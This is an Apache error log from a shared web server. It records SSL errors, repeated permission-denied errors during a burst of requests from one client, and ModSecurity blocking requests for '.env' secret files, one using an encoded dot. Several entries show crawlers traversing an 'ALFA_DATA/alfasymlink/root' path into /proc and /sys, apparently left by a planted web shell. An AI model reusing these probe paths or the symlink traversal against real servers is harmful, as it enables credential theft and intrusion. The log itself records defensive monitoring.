[Sat Oct 24 15:29:42.165190 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 34.206.249.188:39616] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:29:46.173493 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.195.248.30:48432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:29:54.133783 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 107.20.255.194:3329] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:00/physical_node/i2c-0/delete_device
[Sat Oct 24 15:29:57.421977 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 185.191.171.18:64992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/objs_per_slab
[Sat Oct 24 15:30:32.458644 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 85.208.96.195:34420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/objects_partial
[Sat Oct 24 15:30:34.135497 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.44.148.203:9411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:30:42.136877 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.84.250.51:18920] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:30:46.150505 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 98.82.214.73:32907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:30:50.136064 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 23.22.105.143:64832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:31:06.270297 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.223.232.55:38968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:31:14.331625 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.224.205.25:42921] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:31:22.219407 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 18.204.152.114:54951] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:31:26.136007 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 100.24.149.244:63235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:31:32.584684 2026] [core:crit] [pid 2677786:tid 2677786] (13)Permission denied: [client 45.138.12.49:35596] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.584890 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:35594] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.585280 2026] [core:crit] [pid 2684583:tid 2684583] (13)Permission denied: [client 45.138.12.49:35600] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.585559 2026] [core:crit] [pid 2684557:tid 2684557] (13)Permission denied: [client 45.138.12.49:35598] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.585724 2026] [core:crit] [pid 2684559:tid 2684559] (13)Permission denied: [client 45.138.12.49:35588] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.586046 2026] [core:crit] [pid 2677843:tid 2677843] (13)Permission denied: [client 45.138.12.49:35578] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.586109 2026] [core:crit] [pid 2677775:tid 2677775] (13)Permission denied: [client 45.138.12.49:35576] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.586484 2026] [core:crit] [pid 2678927:tid 2678927] (13)Permission denied: [client 45.138.12.49:35606] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.587086 2026] [core:crit] [pid 2684517:tid 2684517] (13)Permission denied: [client 45.138.12.49:35586] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.587291 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 45.138.12.49:35582] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.678873 2026] [core:crit] [pid 2684557:tid 2684557] (13)Permission denied: [client 45.138.12.49:35580] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.678894 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:35584] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.679617 2026] [core:crit] [pid 2678927:tid 2678927] (13)Permission denied: [client 45.138.12.49:35590] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.679877 2026] [core:crit] [pid 2677786:tid 2677786] (13)Permission denied: [client 45.138.12.49:35602] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.679957 2026] [core:crit] [pid 2684559:tid 2684559] (13)Permission denied: [client 45.138.12.49:35608] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:32.680243 2026] [core:crit] [pid 2684583:tid 2684583] (13)Permission denied: [client 45.138.12.49:35610] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:37.575544 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 45.138.12.49:37110] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:37.583362 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:37112] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:37.887957 2026] [core:crit] [pid 2684557:tid 2684557] (13)Permission denied: [client 45.138.12.49:37170] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:42.154011 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 98.80.130.239:37458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory7/node0/subsystem/uevent
[Sat Oct 24 15:31:42.572071 2026] [core:crit] [pid 2677786:tid 2677786] (13)Permission denied: [client 45.138.12.49:37940] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:42.776301 2026] [security2:error] [pid 2677775:tid 2677775] [client 45.138.12.49:57860] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/workspace/.env.production"] [unique_id "at0Hng5nrLV5krwbFOTxtAAAAA4"]
[Sat Oct 24 15:31:42.776726 2026] [security2:error] [pid 2677775:tid 2677775] [client 45.138.12.49:57860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/workspace/.env.production"] [unique_id "at0Hng5nrLV5krwbFOTxtAAAAA4"]
[Sat Oct 24 15:31:42.776997 2026] [security2:error] [pid 2677775:tid 2677775] [client 45.138.12.49:57860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/workspace/.env.production"] [unique_id "at0Hng5nrLV5krwbFOTxtAAAAA4"]
[Sat Oct 24 15:31:45.000829 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37942] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.002698 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37948] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.004254 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37944] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.004866 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:37946] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.006025 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37954] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.006600 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:37968] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.007627 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37970] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.008091 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:37964] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.009274 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37976] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.009609 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:37972] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.010841 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37966] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.012347 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37974] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.013863 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:37982] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.015915 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:37980] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.016140 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:37994] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.016350 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:37950] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.016545 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38024] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.016760 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38044] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.017067 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38110] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.017459 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38350] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.019544 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38356] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.113809 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38348] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.118589 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38360] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.213032 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38358] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.225656 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38370] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.313078 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38376] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.320197 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38368] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.407367 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38382] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.421436 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38380] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.503588 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38372] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.516787 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38386] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.598798 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38396] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.615892 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38440] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.693136 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38530] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.727627 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38692] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.787598 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38694] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.821837 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:38696] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:45.924225 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:38690] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:46.151661 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 100.27.153.9:53529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:31:49.057275 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:39296] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.059265 2026] [core:crit] [pid 2692985:tid 2692985] (13)Permission denied: [client 45.138.12.49:39298] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.078284 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:39306] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.086757 2026] [core:crit] [pid 2692985:tid 2692985] (13)Permission denied: [client 45.138.12.49:39300] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.087956 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:39304] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.089543 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:39314] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.091151 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:39322] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.097472 2026] [core:crit] [pid 2692985:tid 2692985] (13)Permission denied: [client 45.138.12.49:39324] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.127477 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:39350] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.637999 2026] [core:crit] [pid 2684559:tid 2684559] (13)Permission denied: [client 45.138.12.49:39724] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.639886 2026] [core:crit] [pid 2677843:tid 2677843] (13)Permission denied: [client 45.138.12.49:39722] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.640248 2026] [core:crit] [pid 2684583:tid 2684583] (13)Permission denied: [client 45.138.12.49:39726] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.640623 2026] [core:crit] [pid 2684517:tid 2684517] (13)Permission denied: [client 45.138.12.49:39728] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.663098 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 45.138.12.49:39744] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.764971 2026] [core:crit] [pid 2684557:tid 2684557] (13)Permission denied: [client 45.138.12.49:39752] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.765911 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:39922] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.861559 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:39930] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.955227 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:39924] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:49.998074 2026] [core:crit] [pid 2677775:tid 2677775] (13)Permission denied: [client 45.138.12.49:39936] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:50.510631 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:40138] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:50.613224 2026] [core:crit] [pid 2692992:tid 2692992] (13)Permission denied: [client 45.138.12.49:40154] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:50.695112 2026] [core:crit] [pid 2692993:tid 2692993] (13)Permission denied: [client 45.138.12.49:40182] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:50.711557 2026] [core:crit] [pid 2692994:tid 2692994] (13)Permission denied: [client 45.138.12.49:40188] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:51.025972 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:40248] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:52.561820 2026] [core:crit] [pid 2678927:tid 2678927] (13)Permission denied: [client 45.138.12.49:40754] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:52.756430 2026] [security2:error] [pid 2692991:tid 2692991] [client 45.138.12.49:59776] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/secrets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/etc/secrets/%2eenv"] [unique_id "at0HqCo0rrWLOv6eUS8HtAAAABw"]
[Sat Oct 24 15:31:52.756747 2026] [security2:error] [pid 2692991:tid 2692991] [client 45.138.12.49:59776] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/etc/secrets/%2eenv"] [unique_id "at0HqCo0rrWLOv6eUS8HtAAAABw"]
